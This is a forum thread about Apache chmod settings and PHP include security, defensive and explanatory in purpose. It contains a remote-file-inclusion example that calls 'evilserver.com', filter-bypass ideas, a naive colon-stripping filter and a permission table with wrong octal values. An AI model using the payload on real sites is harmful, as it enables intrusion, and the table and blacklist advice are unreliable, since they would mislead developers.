Apache webserver and chmod knowledge sought!

Hi there one and all,

I hope someone who knows there (apache) chmod snizzle can help me out with two questions here;

1. If I set a file to chmod 777 in general webspace area, can anyone access and alter that file?. Or do they require some proper connection like through a ftp. My thinking is that someone could execute a php script on there own server that alters the chmod 777 files! - is this incorrect thinking?. (for the record, my webspace ftp wont let anon access!).

2. having the main .htaccess file as something other then chmod 644 - (namley 666) would that put it at risk of alteration, downloading or circumventing?

Thanks for your time.

PS) yes its for my website that now holds a dev diary of my current game - please come and visit :)

777 sounds dangerous to me, google it a bit.

755 sounds safer.

Yes.

It depends on which user php is running as, and what permissions it has on the directory/file in question.

Not immediately, no.

How about question 1 with 755 then?

rw-r--r-- = 311 = owner read and write, group and world read only
rwxr--r-- = 711 = owner read/write/execute, group and world read only
rwxr-xr-x = 755 = owner read/write/execute, group and world read/execute
rwxrwxrwx = 777 = all read/write/execute

Owner|Group|World
rwx  |rwx  |rwx
1+2+4|1+2+4|1+2+4

Any user, yes. Assuming they have access to get to the directory it's in.



Yes, they'll need to be using a program on your server that is capable of modifying files. A web vistor is not a user. An FTP account is. Apache children will run as users, but normally apache doesn't modify files. PHP will run as a user.



You mean virtual servers or shared hosting? Worrying about another user on your server is a valid concern. Whether they can access your files depends on how your server has been set up (it's often set up quite poorly.) If your home directory has permissions only for you, no one will be able to get at your files regardless of their permissions. This is a question for your host.

There are also other security mechanisms that can be used to keep people out of each others' files, such as chroot.

If you mean can any joe bloggs come along who doesn't have password access to your site and edit the file and hack your site easier, then no.

Sometimes, for example when installing forum software, and depending on the hosts configuration, you have to set some files to chmod 777. Again, it doesn't mean that someone can come along and wreck your forum by changing those files.

Yes, and no.

Anyone who has access through a shell or runs an application with his/her credentials can read/write/execute the file with 777 permissions, regardless of the security group they are in.

However, if you are talking about a web-accessible application, it is not the actual *user* accessing the file, but the HTTP process instead. with apache, that's normally the 'nobody' user, which is a limited access account for security purposes.

Apache normally validates credentials on its own, and can choose to make modifications to a file on the users behalf if it agrees that everything checks out -- but the user wouldn't be able to drag/drop a file over or something, you'll need some kind of process that will accept the upload, validate the user, and save the data.

One way of doing that is through FTP, another is PHP/CGI/Perl through a webserver.

I think the main problem are vulnerabilities that allow to upload and execute code using some open backdoors. EG. Buffer underrun, boards etc, that don't filter tags (strip_tags) etc. A typical problem is a page that is loading it's content using an adress like:

index.php?page=news_include.php

news_include will then be included of course, in the middle of the page or something. Now if you edit the URL manually to something like

index.php?page=http://www.evilserver.com/killer.php

the killer.php script will propabaly be executed on your server with local rights, since it was included in a document that has it's enviroment on your server. I'm not 100% sure, but I wouldn't be surprised if at least some servers allow this.

so make sure to eg.

$content=str_replace(":","_",$content);

to prevent including external code. Not a lot of work.

Common sense says thats a stupid way to do things anyway;

something like url?page=news

then using switch on the 'page' to check its a valid page, then including the right page is a far safer way!

maybe saver, but also hardcoded, something you don't want sometimes.

*cringe*

That's probably not good enough. URL encoding, malformed UTF-8 characters, relative paths to other webspaces on the same server, just to name a few more things to worry about. There's way more if you're sending user input to the shell, to an open() function, or to another user's browser (XSS.)

Unless you're willing to sit down and try everything yourself (or throw caution to the wind and hope no one tries to hack you) the switch is your best friend. If a little bit of hardcoding keeps your server secure, hey: do it.

From that point of view you shouldn't use a computer at all. That said, I am not a person who don't cares about security.

I agree, replacing ":" my be not enough, you also have to replace ".." and some other tiny bits. But with a hand full of lines of code it will be pretty save. Probably saver than the NASA computers.

URL Encoding is decoded prior the script will use it, so "%3A" will be ":" when you start filtering. I don't know how malformed UTF-8 chars could be a problem since the relevant characters are inside the ASCII subset that is not affected by UTF-8, all that happens is php will try to find a file with a given name. If it cannot be found, nothing's gonna happen, but a "cannot include" php warning.

Correct me if I'm wrong and please elaborate in detail.

Your logic never fails to astound me.



How will you know when you have enough code?

Have you tried a double URL encoded "%203A"? Have you tried encoding a ":" as more than one byte with UTF-8? Have you tried breaking apart that multi-byte ":" with malformed UTF-8 characters? How about a null byte at the beginning of the string? Any of these things might be able to slip a ":" that include() will honour past your string replacement.

I'm not a hacker and I thought of some things that might work that you didn't. A real hacker with time on his hands might think of more. A real hacker with time and access to sources might think of more still. It doesn't matter if the things I thought of work or not, the point is that it's unlikely that you'll catch all the cases.

I've worked on a cross-site scripting filter, and I can tell you that there are some remarkably complex and weird ways that you can get IE to execute javascript even after removing all the obvious tags and attributes.

The easiest way to solve tainted input problems safely is to make a list (programmitically or hardcoded) of acceptable input; even if you just have a list of accepted characters. The hard way is to modify the input string and test every conceivable exploit, then hope that no one thinks of any that you didn't.

P.S. This is hillarious. You're now taking the complete opposite stance from the one you took in our last discussion. Previously, you wanted to have complete control over everything your computer does and never delegate tasks to other peoples' code. Now you're perfectly content to hand tainted strings off to other peoples' system calls that could compromise the security of your computer needlessly.

You cannot compare an exe with a webpage. I was talking about app-stability, not page-security. You're mixing apples with pears here.

I tried your suggestions, none worked, more hacking ideas are welcome, thanks.